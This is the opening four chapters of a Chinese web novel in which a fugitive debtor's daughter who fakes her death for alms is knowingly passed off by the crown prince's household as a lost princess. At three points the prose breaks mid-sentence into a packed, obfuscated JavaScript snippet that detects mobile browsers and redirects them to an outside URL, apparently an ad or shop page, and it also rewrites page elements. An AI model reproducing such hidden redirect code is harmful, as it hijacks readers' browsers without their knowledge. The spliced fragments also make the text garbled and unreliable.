《小春风》 1. 第一章 酉时,京城。 落日余晖漫过汉白玉台阶,长廊下柱子交错出一道道笔直的黑影,犹如栅栏禁锢住了光。 一片阒静无声中,一女子仪态端正,稳重的步伐声打碎了静默。 沿途宫人们纷纷退至墙角,朝她行礼:“皇后娘娘。” 光影半明半昧中,皇后沉着脸,神色莫测。 待抵达宫殿门口,她缓缓吐出一口气,无声收了神色。 殿前宫人撩起缂丝龙纹帘布,皇后步入殿内,低头行礼,道:“参见皇上。” 风吹进大殿,缭绕过一阵淡白烟雾,皇帝披头散发,身着一身灰色道袍。 他没有理会皇后,躬身亲手护着跃动的烛火,点燃一盏祈福天灯,示意宫人拿出去放了。 做完这些,皇帝直起身,甩甩手中火折子,道:“皇后来了,知道朕为何叫你吧。” 皇后眉宇些许僵硬。 她与皇帝名义上是夫妻,早已离心,到如今除了祭祀大典,能不见就不见。 这次皇帝匆匆召她,想来只为先贵妃那位流落在外的公主。 果然,皇帝擦过手,从旁边内侍手中接过一块青绿的菩萨形玉佩,玉质不算贵重,难得雕刻细腻传神。 皇后一眼认出,它是当年皇帝和先贵妃的定情之物,出自皇帝之手。 后来,先贵妃生下女儿,就把玉佩给了女儿,直到十二年前公主失踪,它也消失了。 如今它回到这巍峨宫城内,自然带回了公主的线索。 皇帝摩挲着玉佩,目露怀念:“这是青龙卫从当铺找来的,朕和妙儿的女儿应是遇到难处,才把玉当了。” 皇后如不见他的欣喜,道:“陛下,这十多年但凡是公主的消息,都是假的,只怕难证虚实。” 被直接泼冷水,皇帝却也不恼,只说:“皇室子孙,绝不能流落在外,这玉便是铁证,此回不能不重视。” 皇后轻笑一声。 皇帝是要太子找人,才会这般好声好气,他如今可“使唤”不了太子。 果然,皇帝自顾自说:“太子出巡,不久前才抵达平州,离找到此玉的当铺不远,正好让他查真假,如无差错,兄妹二人共同抵长京。” 皇后再明白帝王无情,也总是陷入郁结。 他与他的贵妃鹣鲽情深,此情感天动地,以至于昔人已作古,他依然念念不忘。 可他从未想过太子也是他儿子,也未想过当年她和太子如何熬日子。 临了临了,需要太子做事,他倒是记起来了,一口一个“兄妹”。 许多话哽在喉头,皇后重重闭上眼睛:“陛下,为此事便令太子奔波,未免……” 皇帝:“你是说这是小事?” 皇后闭了嘴。 帝后正僵持,门口守着的宫人吊着嗓子,道:“禀报皇上,明远姑娘求见。” 皇后怔了怔,宫女明远是太后身边的人,代表太后行走宫廷,通传太后懿旨。 便是太子也会给她三分薄面。 这位失踪的公主原也是太后心结,看来这回太后要插手。 只见明远低头走进殿内,她语气温和平直:“太后有旨,皇室血脉不得含糊。” “须请太子殿下好生辨别,若能寻回宫内,亦是大欢喜。” …… 章县,街道。 章县隶属河南道兖州,百姓安居乐业,此段街道甚是繁忙,两侧商贩走卒挤挤挨挨,行人摩肩擦踵。 一辆朱漆酸枝木马车碾过尘土,身在人群中,纵有好马也快不得。 忽的,不远处路口的哭喊声彻底逼得车轮停下:“我的儿啊!” “我苦命的孩子啊!” “……” 一对四十来岁的中年夫妻衣衫褴褛,身上插着草标,跪在地上,哭得声情并茂。 他们身后躺着一个少女,一卷破草席掩着她半边脸颊。 她裸露的脸颊瘦弱苍白,却仍可见她眉眼细腻,是个相当姣好的女子。 中年夫妻一边哭,一边乞讨:“各位行行好,我一家本是邺县人士,来章县讨生活,未料家中小女染了不治之症,掏空了我们家底却还是治不好,昨日竟狠心抛下我们,回天上去了!” “可恨我们夫妻忙活半生,连给孩子置一口薄棺都无能为力!” 女人上手打起身边男人:“都是你!苦了我就罢了,如何也苦了孩子!你害死我们了!” 男人也涕泗横流。 可怜天下父母心,民众有的驻足观看,有的掏出一个两个铜板,丢到草席上,尽一份薄力。 那辆朱漆马车就停在不远处,驾马车的把式是个面相阴柔的男子,他盯着掉渣的草席,心情复杂。 此人名唤长英,作为东宫掌事太监,奉命同太子前来见这位典当了菩萨玉佩的女子。 实则此事不该劳动殿下,交给太子手下任何一人,都能办得妥帖漂亮。 而殿下亲临,除了有太后的缘故,更重要的是,此回马虎不得。 谁料到刚来就遇到这一幕,那女子竟已离世,还是这两日的事。 难不成老天也知晓这差事不合理,把女子收了?可这也太巧了,却不好和宫里交代。 他有些心慌意乱,扯住缰绳下马车,到了窗户边撩起车帘,恭敬道:“爷,那位就是……了,可要小的去看看情况?” 车内,太子李铉手臂搭在木窗台上,露出一截玄色绣宝相花纹的袖子。 他食指轻抬,敲点着窗台,淡淡的天光切在指节处,那一截手指如白玉般冷俊。 长英低头不再作声。 夫妻两人哭诉了好一会儿,引来不少人指指点点:“作孽啊。” “这两人有手有脚,怎么还要行乞……” 正说着,天际聚起一团浓云,平地刮起一阵大风,风沙迷眼,逼得长英连忙抬袖挡沙。 周围人也嚷嚷起来:“不好,要下大雨了!” 这个时节,章县来风恶,来雨更狠,商贩纷纷卷东西躲走,在路边乞讨的中年夫妻顾不得哭,也“收摊”了。 他们摇着身后的“尸体”,叫她:“春儿快醒醒,要下大雨了,快走。” 下一刻,那“尸体”倏地睁开眼。 她原先还有三分困倦,一看天色不对,咕噜翻起身,脸蛋上的墙粉簌簌落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378267|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 几缕鬓发掠过她那双清澈明眸,眼珠仿佛一汪水墨蕴出的琉璃,顾盼之间,如流萤飞旋,流光迸溅。 李铉指尖定在窗框处。 长英目瞪口呆:“这……” 周遭人忙着避雨,没多少人留意这“诈尸”奇观,却仍有几人指着那中年夫妻和少女,大怒:“原来他们是骗子!” 少女捞起地上几个铜钱,面带歉意,为避免被抓,跟着父母拔足狂奔。 几人正正好遇上长英和马车。 长英无意拦他们,但怕有刺客伺机而动,哪怕暗卫潜伏在四周,他也不敢懈怠。 他严阵以待,死死护着马车,让本来就不宽的过道更显狭窄。 “让让!”夫妻中的男人跑得脸色成猪肝色,硬生生从长英身边挤过去,还不忘记一手一个扯着妻子女儿。 长英:“大胆!你们可知……” 他话还没放完,被父亲拉着的少女撞到他肩膀。 长英如何都没想到,少女身量看着纤细,实则和一柄钟槌似的,撞得他找不着北,扒着马车才没摔倒。 长英:“哎哟!有……” 车内传来一道冷冷的声音:“长英。” 长英理智回笼,他好险才没惊呼出“有刺客”,免得暴露太子行踪。 至于那三个江湖骗子,顺利挤过过道后一路狂奔。 长英揉着肩膀,回过头。 恰好那少女也正回头看他,似乎因为不小心撞到他,她朝他歉然一笑,那笑意便像一缕春风吹拂杨柳,令人心旷神怡。 长英怔住,只听李铉问:“怎么了?” 长英想控诉少女,可她有可能成为流落在外的公主,加之她最后那一笑,到底化解了他的不爽。 他道:“回禀爷,这位……还是知礼仪的。” 李铉不语,手指又轻点窗框,敲击的节奏湮没在风雨声中。 … 春风和爹娘跑得老远,免了一遭痛打。 他们吭哧吭哧喘气,豆大的雨点也兜头浇下。 爹赶紧脱了外衣,罩在春风和娘头上,得了她娘一声嫌弃:“脏死了,快找个地方躲雨吧,咱可生不起病!” 春风手里紧紧攥着七个铜板,加上娘收下的五个铜板,堪堪十二个铜板。 下一顿饭勉强有着落,只是最多也就馒头和腌菜。 她忍不住回头,双眸微眯搜寻那辆马车,哪怕眼前只有模糊的雨幕。 娘抱着春风往茅草屋下躲,留意到她的目光,问:“你还在看那马车呢?” 春风回过神,喃喃:“嗯,它一看就很有钱。” 娘也羡慕:“它可真是好货。” 虽然他们出身小地方,倒不至于没眼色,认不出好歹。 方才那辆马车样式低调不张扬,用料却是顶好的。 车把式衣裳布料寻常,但做工并不一般,他那般护着马车的架势,足见乘车的定是个大户人家的主子。 也是他们绝对招惹不起的人物。 春风微微鼓了鼓脸颊,又说:“要是能把它抢过来,咱们就不用淋雨了。” 爹、娘:“……” 2. 第二章 春风的父亲林大田,一个淳朴了大半辈子的庄稼糙汉,淳朴着淳朴着,还得靠“卖哭葬女”骗钱。 但他自认走投无路,才迫不得已和妻女演这一出。 乍然听到女儿口出狂言,林大田悚然:“使不得,这可使不得啊!要坐牢的啊!” 春风的母亲于秀君,一个头脑灵活、敏锐聪慧妇女,却立时从女儿的话里品出对当下窘境的无奈。 于秀君火气上来,扇打林大田,啐他:“要不是你给那杀千刀的当保人,咱家至于沦落到今日,春儿至于演死人,多晦气!” 当然,最开始春风提议的行骗办法是“卖哭葬父”。 但哭是个费劲事,相对而言,躺着的“尸体”最轻松,夫妻俩顾不得忌讳,让春风躺着了。 林大田缩着肩膀挨打,嗫嚅:“我错了,真错了……” 任由父母吵吵嚷嚷,春风捡了块地屈着膝盖坐下,望向茫茫天际。 大雨瓢泼,浇得天地虚浮于水雾中,似也在诉说世情凉薄。 不久前于秀君和林大田哭得那么令人不忍,并非全是演戏,林家三口这阵子过得是苦不堪言。 他们本是邺县林家村的良民,不算大富大贵,日子并不过分拮据。 细水长流的日子终止于去年某日深夜,邻居登门拜访。 邻居想办一桩稳赚不赔的买卖,跟县里大户借百两银子,诚邀林大田当保人。 保人不好当,林大田也不想冒险。 但两家多年交情,相互信赖,都说远亲不如近邻,这时不帮难免令人寒心。 再者,他女儿春风与邻居儿子是青梅竹马。 如无意外,邻居儿子将来就是自己女婿,这一点大人都心照不宣。 林大田思来想去,觉得邻居没有理由坑害自己,最终还是替邻居作保。 若邻居逃债,这百两银子由他偿还。 于秀君知情后,和林大田大吵一架,可已经画押了,木已成舟,她彻夜睡不着,暗自托娘家备了三份过所,以防万一还能逃走。 实则起先也算寻常。 邻居父母出门了,他们儿子还留在家。 想到他们总不能真不管儿子了,于秀君渐渐放心,甚至开始心疼起置办过所花的银钱。 偏偏在她放弃警惕时,邻居那儿子一声不吭跑了! 等债主找上门,几人才发现邻居一家早已不知行踪。 这下,林大田被迫承担百两债务,更可气的是,那债主大户打起春风的主意。 树挪死,人挪活,于秀君赶紧捎上过所,带着女儿丈夫三人出来避祸。 因走得匆匆,他们大部分家产都还在林家村,本来就没带几个钱,祸不单行,打尖时钱还被人偷了。 偏生债主报官了,他们不敢报官,只好一路窝窝囊囊,骗吃骗喝。 太难熬了。 当下,于秀君骂够了丈夫,她也坐下,为女儿拂衣裳拍掉晦气,说:“这么久了,不知道林青晓还在不在章县。” 春风缓缓摇摇头。 林青晓正是邻居儿子,春风的“竹马”,林大田眼里的好女婿,林家落到此地步的罪魁祸首之一。 日前,春风一家路过章县,林大田和于秀君去田里偷瓜,春风望风,却见到了行迹鬼鬼祟祟的林青晓。 林青晓瘦了,也晒黑了,见到春风却撒丫子跑。 春风抡着双腿撵林青晓,她也不知道哪爆发的力气,竟能拽住林青晓。 只是,她还没来得及问他为何要丢下她一家,林青晓焦急又有愧,解下贴身戴着的菩萨青玉佩,丢给她。 那是林青晓最重视的玉佩,从来片刻不离身。 春风一愣,林青晓已经蹿出老远,只丢下一句:“春风,是我对不起你们,这块玉你先拿去换钱用!” 没办法,春风只好拿走玉佩。 得知她遇到林青晓,于秀君又气又急,不管如何,他们最好能找到邻居一家,才能免去一身巨债。 章县是目前唯一有线索的地方,抱着找到林青晓的一线希望,于秀君拍板,一家人滞留在章县。 可托人办的过所目的地并非章县,依本朝户籍律法,他们也就比流民好些,没法靠双手挣钱。 饶是那青玉佩典当了几百文,架不住日子只出不入。 想到下下顿饭,春风偷偷叹了口气。 于秀君耳朵一动,捕捉到她的叹气,她一个巴掌打在春风后背:“小孩家家,叹什么气!” 春风觑着于秀君,把刚刚叹出去的气狠狠吸回去。 于秀君:“……” 阵雨来得快,走得却慢悠悠的,待雨水变得淅淅沥沥,天色也发沉了。 惦记着女儿还饿肚子,于秀君催促林大田:“咱们去乡里换点吃的。” 林大田打谅于秀君不气了,他搓搓手,问妻女:“如果……找不到人,咱们继续南下?” 当时邻居说的买卖就是去南方。 于秀君说:“哪那么简单!你知道他们到底去哪了,南方多大的,怎么找?咱们备的过所也就到……” 话音未落,春风扯扯于秀君袖子,说:“官兵。” 不远处,一群官兵噼里啪啦踩着地上的水洼跑来,倒是很有架势。 于秀君暗道不好,果然那些官兵直奔林家三人而来,把他们团团围住! 春风眼眸微瞠,林大田赶紧把妻女护在身前,两股战战:“大、大人们,我们可是良民啊!” 作为保人出逃是大罪。 林大田正绝望时,为首捕快看画像对人脸,道:“正是你们,大人有请。” 有请? 林大田缩着脖子,和于秀君对视,这捕快对他们态度并不差。 公家可不是良善之辈,能对他们态度还算客气,说明事情绝没那么差。 不过还是让人不安。 三颗忐忑的心,在他们进了县衙,见到坐在案首的长英,终于不再忐忑了,而是有点死了。 看来是他们冲撞贵人,贵人寻仇来了。 那县令对着长英点头哈腰的:“正是这三人,他们确实并非章县百姓。” 民不与官斗,林大田拉着于秀君和春风,“噗通”一声跪下,喊:“大人饶命,小的再也不敢了!” 林大田嚎完,堂上一片静谧。 春风盯着地面,因才下过雨,官兵进进出出,地面泛出一层水潮气。 她想,大牢不知是不是也这样潮湿,早知撞人也要坐牢,不如抢车呢。 突的,她眼前多了双皂靴,竟是那贵人亲自上前,抬手扶她。 春风压住心底惊疑,懵懵懂懂站起身。 那贵人端详着她,笑眯眯的,语气和蔼温和:“我是长英,东宫掌事太监。” 春风并不知东宫掌事是什么,不过太监两个字她懂。 这下她更觉不解。 长英又问:“姑娘名讳可是林春风?” 春风:“是。” 长英示意明白了,他拿出一张纸展开递给她,上面描出一块菩萨形的玉佩,画工倒是精细。 他又问:“这玉佩你可识得?” 春风老实承认:“识得。” 当时为了把这块玉佩多典当些钱,春风观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378268|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了它很久。 长英笑了下,言简意赅:“这玉佩是懿德贵妃的遗物,也是流落民间的皇家明珠的贴身之物。” 春风微微张开嘴,林青晓的玉佩有这么大来头? 林大田和于秀君偷偷面面相觑,不明白贵人为何讲这仿若戏文传奇里的事。 不待他们疑惑,长英对春风的一句话,让这一家三口“如遭雷击耳暂明”:“奴婢见过公主。” 春风指着自己:“我?” 林大田、于秀君也一副“刷”地抬起头,难以置信。 这些都在长英预料之内,他一笑,躬身作揖:“是,这块玉佩可是殿下送去当铺的?” 春风:“虽然是……” 长英打断她的话:“那就没错了,宫里鉴定不会出错。公主携玉佩走失后,这些年,陛下与太后总惦念公主,从未中断在民间的搜寻,只待殿下回宫团圆。” 春风:“……” 趁着她怔愣的间隙,长英又对章县县令和捕快说:“还不见过公主?” 呼啦啦一群人跪下呼千岁。 春风清晰地看到他们眼底对她敬意,夹杂着妒忌,毕竟听来像做梦,可多少人做梦都不敢这么想。 这是实实在在的飞上枝头变凤凰了。 春风被他们跪得不知所措,她原地转了一圈,又看向长英。 长英提醒:“殿下可说‘免礼’。” 春风从善如流:“免礼。” 长英又令县令:“在衙门辟开一处干净舒适的屋子,供公主与公主养父母居住。” 县令拱手,忙不迭道:“是,是。” 长英又说:“待会儿奴婢便让人去服侍公主,请公主好生歇息。” 县令转而来巴结她:“公主殿下请。” 春风:“……” 知晓林家三口恐一时难以消化这个天大的好消息,长英预备留点时间叫他们自己想,便迤迤然离去。 事实上,林春风并非真公主。 她出生在邺县林家村,身世简单,那块玉佩本是一个男子的,前阵子才给了林春风。 而那男子似乎躲债,也擅长隐匿自己行迹,短期内不好找。 他的玉佩从何而来,无从考据,但并不奇怪,公主丢失那年正是庆盛末年,天下大乱过,什么都有可能。 显见公主的下落到这儿,便又断了。 这些消息,只要花上几日查一查,就绝不会弄错。 但太子殿下要的就是“弄错”。 长英走到县衙另一座院内,回想雨幕中,太子淡然的语气:“就她了。” 流落民间的金枝玉叶是太后的心结,再耽搁不得。 按说皇室血脉不得混淆,太子却不忌讳。 定下林春风并非临时起意,这场闹剧持续多年,搅得天家不得安宁,“公主”早该回去了,至于真假,竟不是最重要的。 回想林家人反应,长英笑着摇头。 想来突然成王公贵族,林春风定欣喜若狂,即便她心内有顾虑,也不敢提出异议。 不过她运道太好,能过了太子那一关。 长英正想着,身后传来一阵哒哒哒脚步声,并一道明丽清亮的声音:“长大人!” 竟然是林春风追了过来。 小姑娘发髻微乱,眼眸明亮得惊人,穿着演“尸体”时那套脏兮兮的裙裳,她还没去县衙休整过。 长英疑惑:“公主唤我长英就好,匆匆而来是为了?” 春风一张口,掷地有声,还长英一记惊雷:“玉佩不是我的,我不是公主。” “你们弄错了。” 3. 第三章 半刻钟前。 林大田双手一直在颤抖:“这到底咋个事……” 于秀君回想那些传奇故事,也有讲抱错孩子的。 譬如她是在山庄生孩子,皇家的贵人也在,导致抱错,但事实上,她就是在家生的春风。 要是被抱错,也是梦里抱错的。 正当林家夫妻如脚踩云端时,他们的袖子被身后的女儿轻轻扯住,把他们拉回人间。 春风悄悄说:“爹,娘,我有话说。” 她又看向县令,县令很识相,带着几个衙役躲远了。 没有外人,林大田压抑的情绪终于喷发,激动得涨红了脸:“咱们家发达了?” 于秀君难掩顾虑:“真有这么好的事吗?” 春风看左右无人,小声对父母说:“我要去找太监,说他们认错人了。” 林大田、于秀君:“啊?” 仅仅惊讶一瞬,林大田松了紧绷的心,道:“还是咱家春儿懂事,本就不是咱的东西,可不能要。” 见父亲误会,春风解释:“我好像知道真公主是谁。” 这回父母更是一脸惊讶:“是谁?” 春风:“得问林青晓。” 于秀君:“他能知道?” 春风神神秘秘地“嗯”了声。 因为林青晓不是男的,是女的。 大概是她们十三岁那年,林青晓来癸水弄脏了衣裳。要不是春风提醒,多一个人看到,她是女孩的事就瞒不住了。 当时林青晓惨白着脸,不惜花重金买昂贵的砂糖贿赂她,求春风保密。 春风仗着这事,多少次差点骑她头上撒野她都忍了。 后来林青晓跑了,春风悄悄反思过,是不是林青晓不耐骑。 如今,引发此案的玉佩是是林青晓从小佩戴,这说明什么?她的“竹马”可能才是公主! 意识到这一点,春风心里的算盘打得噼里啪啦: 假若她冒名顶替真公主被发现,死罪; 但假如林青晓是真公主,一人得道鸡犬升天,她不仅不怕掉脑袋,还能继续骑林青晓头上过好日子。 只不过,不论林青晓为何女扮男装,她不能贸然出卖她,先把秘密藏好。 目下当务之急,是找回林青晓。 要是林青晓愿意褪下男装,认祖归宗,一切皆大欢喜,逃债也不是事了。 … 此时,春风双手交叠放在身前,歪着脑袋瞧长英。 她抿着唇,脸颊圆润,一双明眸闪熠星星点点,十足的乖巧。 可长英的笑差点像嚼到沙子似的崩掉,天爷,这娃娃莫不是实心眼的性子?竟然会否认自己是公主! 到底是东宫练出来的老狐狸,长英很快捡回微笑,问:“公主何出此言?玉佩不是公主的?” 春风:“这玉佩是我朋友的,你找到她,就能找到那个公主。” 长英心道,太子敲定的事,他可不敢节外生枝。 找人就罢了,忽悠人他倒是有一手。 他严肃道:“公主确定?找到你的信件早已快马加鞭送去皇宫,如果弄错了,不是闹着玩的。” 春风:“……那会怎么样?” 长英在脖子上划拉一下:“欺君之罪,要掉脑袋的。” 春风捂住自己脖子。 长英一笑,就知道她还是小孩呢,他给她找了个台阶:“想来公主还不习惯身份转变,说了些糊涂话。” 春风:“唔。” 长英又提点她:“以后这些话,公主千万别和外人说。” 却见春风蹙起眉,眼眸黯淡,似乎要叹气,又叹不出来。 长英不由问:“公主可还有什么顾虑?” 春风:“我爹娘怎么办?” 长英没顾上修改她的称谓,她的爹已经是皇帝,不是林大田。 他回道:“养育公主有恩,若公主不舍,自当一起回去。”得把林大田和于秀君放在眼下盯着,省得他们说漏嘴。 春风担忧:“我都不清楚宫里怎么样。” 长英:“我早已安排了妥当之人服侍公主,公主问她,就清楚了。” 春风点点头:“那好吧,我是公主。” 长英无端松口气,看她溜达走了。 又过了会儿,他“嘶”了一下,奇怪,明明是天大的喜事,怎么好像还得哄着春风接受? …… … 春风很快接受现实。 当公主掉脑袋,不当公主也掉脑袋,只能收拾收拾当公主了。 至于林青晓……她想,她不会放弃找她,毕竟事情若有败露,还得林青晓捞她。 林大田和于秀君见春风回来,没能推了当公主的事,多少也有点高兴。 此事固然危险,但收益太大了,头个好事就是解决了他们东躲西藏的处境。 于秀君打听到公主是四岁走丢的。 一家子嘀嘀咕咕,最后商量出个办法:“就这么说:春儿是四岁被抱养的,没了四岁前的记忆。” 春风应了,实则别说四岁前,就是七岁前的事,她也记不得多少。 长英答应给春风的人,是原先从东宫带出来的一个宫女,名叫香蕊。 香蕊和春风同岁,身量比春风稍矮些,性情活泼,但粗中有细。 她边替春风梳妆,边将能说的都抖落了:“公主已忘了小时候的事,奴婢本不该提,不过有一事,公主要记在心里。” 春风问:“什么事?” 香蕊小声说:“公主之所以走丢,源于十二年前的庆盛之乱。” 庆盛之乱,是指庆盛末年,镇守陇右道的虎威将军叛乱,长京险些失守,带来两年的战乱。 春风那时太小,记不得什么,林家村也偏僻,幸而没被战火波及。 因为庆盛之乱,好些人迁到林家村避难,村里多了不少人口,林青晓一家也是那时候来的。 到现在,于秀君偶尔还会嘟囔:“那几年外面都不知道死了多少人,啧啧。” 至于旁的,他们一家是小村民,能留意到换了县令都不错了,对皇城局势更是两眼一抹黑。 春风便问香蕊:“这个虎威将军后来掉脑袋了吗?” 香蕊:“掉了。” 春风:“那太好了。” 香蕊表情有点奇怪,须臾,小声提醒:“虎威将军是贵妃的兄长,贵妃是公主母妃,他是公主的舅父。” 春风:“?”那可太不好了。 香蕊斟酌了一下,继续说:“后来贵妃畏罪自尽,公主不必担心,虎威将军的错不累及公主。” 春风:“皇帝竟然肯吗?” 香蕊:“正是皇上竭尽全力,保住了贵妃身后之名,谥号懿德。” 春风微微抬眉,小声问:“皇上是什么样的人?” 香蕊捡好话:“这些年为了寻找公主,皇上潜心修道,已得了境界,才感动上苍,找回公主。” 春风了解了,原来是个昏君。 话说到这,香蕊示意春风看镜子,眼底惊艳,笑说:“公主之姿容,果然贵不可言。” 前阵子为了躲债,春风疏于打扮,却也能看出姣好容颜。 此时,她头上挽着飞天髻,压着两支金花叶步摇,额间一点花钿,雕琢出少女眉眼天真璞玉的美感。 她肌肤底色莹莹温润,不用搽多少粉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378269|200135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇间点了一抹朱红,娇艳欲滴,姝色动人。 春风盯着镜子,舌尖偷偷小口尝唇上朱红。 甜滋滋的。 香蕊心内也别提多满意了,皇室无丑人,果然公主在民间磋磨多年,也能如明珠般皎洁美好。 她示意春风起身,给她换上姜黄织金缠枝莲花对襟,并一条茜色绣百花襦裙,肩上搭着一条绿纱披帛。 这下,连春风都意识到这一身有多华丽,疑惑地看了香蕊一眼。 香蕊说:“太子殿下今日得空,召见公主。” 春风早听说了,此行北上太子也在,依皇帝太后的意思,“兄妹俩”正好一同回京。 只是他们分两辆马车,隔老远,她还没和太子打过照面。 本来还以为要进长京再见面的。 怕春风紧张,香蕊又说:“公主只需和往常那般见太子便可。太子宽厚,明辨是非,知道公主未学全礼仪,不会为难公主。” 春风点了点头。 实则心中默念:龙生龙,凤生凤,老鼠的儿子会打洞,昏君的太子不顶用。 她一身轻松,把玩着披帛,一边跟着香蕊到了太子居所。 他们早已离开章县,此地是晋州,刺史在太子抵达前,就把刺史府腾出来。 穿过府中花园,假山重叠,流水叮咚,水草丰茂,蝴蝶相互追逐,这般好景春风从未见过,便越走越慢。 香蕊笑着提醒:“公主。” 春风回过神,小步追上香蕊。 她刚要问快到没,不远处一间屋子内,爆出一声:“殿下饶命!臣冤枉!” 紧接着,两个高大的侍卫拖着晋州刺史出门。 春风记得,刺史迎接他们时充满清贵之气,如今却是满目惊恐求饶,双腿和汤饼似的软在地上,被人拽出来的。 春风:“……” 那屋外守着的太监却已进去:“禀太子,公主到。” 屋内,传来男人陌生且低沉的一声:“进来。” 春风看向香蕊,香蕊也受了惊吓,没留意她的妆容,只轻声说:“去、去吧,太子宽、宽厚……” 语气没那般笃定了。 不管了,春风胸口缓缓起落,大步迈进屋内。 绕过一架四开山水屏风,入目地上的花纹漂亮炫目的波斯地衣,她一抬眼,顺着长英躬身递茶的方向—— 长案上摞着整整齐齐的书卷,书卷后,是一个二十来岁的青年。 他坐姿端正,身姿挺拔,束白玉发冠,一身绛色云气走兽纹圆领袍,俊眉修目,英气勃发,抬手取茶时,手腕间缠着一串紫檀佛珠,自有一股沉稳威严。 春风下意识垂眸,按香蕊教的那样,福身行礼:“见过皇兄。” 屋内一片安静,长英奇怪,这次兄妹见面,不过走个过场,免得进京后春风都不识得太子。 按理说,李铉说句免礼就可以了。 但上首太子搁下茶盏,半晌不语。 长英大着胆子,顺着李铉的目光看向春风。 把小姑娘交给香蕊,他是放心的,香蕊有一手好手艺,必能不出差池。 果然,春风姿容昳丽,妆容妥当,但是——长英一惊,春风唇上朱红胭脂一片斑驳,这怎么弄的?可太不得体了! 长英心内打鼓,又悄悄观察李铉,斗胆开了口,问:“公主嘴唇怎么回事?” 春风一愣,不由又舔了下唇,舌尖尝到那股胭脂甜味。 她从没用过口脂,不知道舔了会掉,只说:“是口脂。” 下一刻,李铉阖了阖眼眸,淡淡问:“好吃吗?” 春风回答:“挺甜的。” 长英:“……” 4. 第四章 香蕊在屋外束手站立着,心里也没底,忍住徘徊的冲动。 春风涂的口脂是香蕊自己做的。 她擅长制香,胭脂水粉也不在话下,名字“香蕊”便来源于此。 因是贵人用的,口脂拌了玫瑰花汁、椰子油、蜂蜡、珍珠粉等,用料是极好的。 同为女子,她知晓涂口脂难免会吃到一点,怕口味不好,在里面又下了一点蜂蜜。 加了蜂蜜后口脂不易保存,但贵人所用之物讲究精细,坏了便重做,不必图保存。 所以她不知道会带来什么情况,只怕那颜色调得不够庄重。 毕竟东宫向来重规矩。 说起来,她说太子“宽厚”是有几分夸大,也不全是诳春风。 东宫里没有女主子,她被太后拨给东宫后,很少面见太子,但也从未听说太子刁难下人。 当然这些不代表太子脾性好。 太子日理万机,没有点铁血手腕不可能收服朝堂,何况听说皇上当年留下的是一个烂摊子…… 思及此,香蕊打住,朝中之事不是她这等宫女能置喙的。 于是,她又集中注意,竖起耳朵听里头动静。 屋内似乎说了两句,就没了。 她正奇怪,只看春风神色也有些莫名,矮身穿过门口的纱帘,出来了。 下一瞬,香蕊震惊:“公主,你的口脂怎么成这样了?” 春风:“嗯?” 长英领着一个宫人,跟着春风前后脚出来,那宫人手里擎着一枚铜靶镜。 他实在忍俊不禁,抬袖掩唇笑,示意春风:“公主请看镜子。” 春风晃着脑袋来到靶镜前,就呆住了。 她就说太子怎么问那句,原来如此。 香蕊赶忙从袖中拿出一方手帕,要给春风擦,春风不太习惯被人伺候,自己拿来擦。 她把手帕抿在双唇间,对着镜子蹭掉斑驳口脂。 笑过后,长英清清嗓子,道:“太子有令。” 春风含着手帕看他。 长英:“公主仪容有损,乃侍奉公主宫婢之失职,罚俸三月,以儆效尤。” 香蕊连忙跪下:“是,奴婢遵命。” 春风好好把这几个字默念一遍,才反应过来,一张嘴手帕掉了也忘了捡,只问:“为什么要罚香蕊?” 换旁个人这么问,长英最多给他一个眼神,让他自己体会。 如果那人悟性不够,再犯错,丢了命也是大罗神仙救不。 只是春风不一样。 长英是东宫里除了太子之外,唯一知道春风并非真公主的人。 他能当掌事太监,不是靠势利眼,便解释:“今日公主在太子面前失仪,尤可以改正,来日若在文武百官面前失仪,有损皇家颜面,凡事须得防微杜渐。” 春风不懂肚贱不贱,但也听懂了九成。 她正色道:“是我错了,罚我就好。” 不等长英说话,香蕊先大骇:“公主,奴婢不敢受!” 哪有罚婢女,主子代受过的。 长英也有些犹豫,这时,又一个太监自屋内出来,朝长英躬身说:“太子有令,既然公主愿受罚,便罚公主。” 想来是门口的争执声传到了屋内,叫太子听到了。 倒是直接允了春风。 长英看着小公主一副“一人做事一人当”的样子,只觉她太烂漫天真。 他左右瞟了一眼,令太监后退两步,压低声音:“太子殿下重规矩,宫里不比民间,公主以后谨慎为重。” 春风知道长英为自己好,也用气音回:“好吧。” 她第一回知道,做公主不能随心所欲。 回想太子沉稳冷淡的眉眼,她无端打了个冷噤,又摇摇头,把他的脸从脑海里赶走。 等她和香蕊走到无人的廊下,香蕊忽然又对春风跪下。 春风扶起她:“你做什么?” 香蕊眼中闪烁泪光:“公主为奴婢出头,奴婢不胜感激。” 春风微赧,明明是自己偷吃导致的。 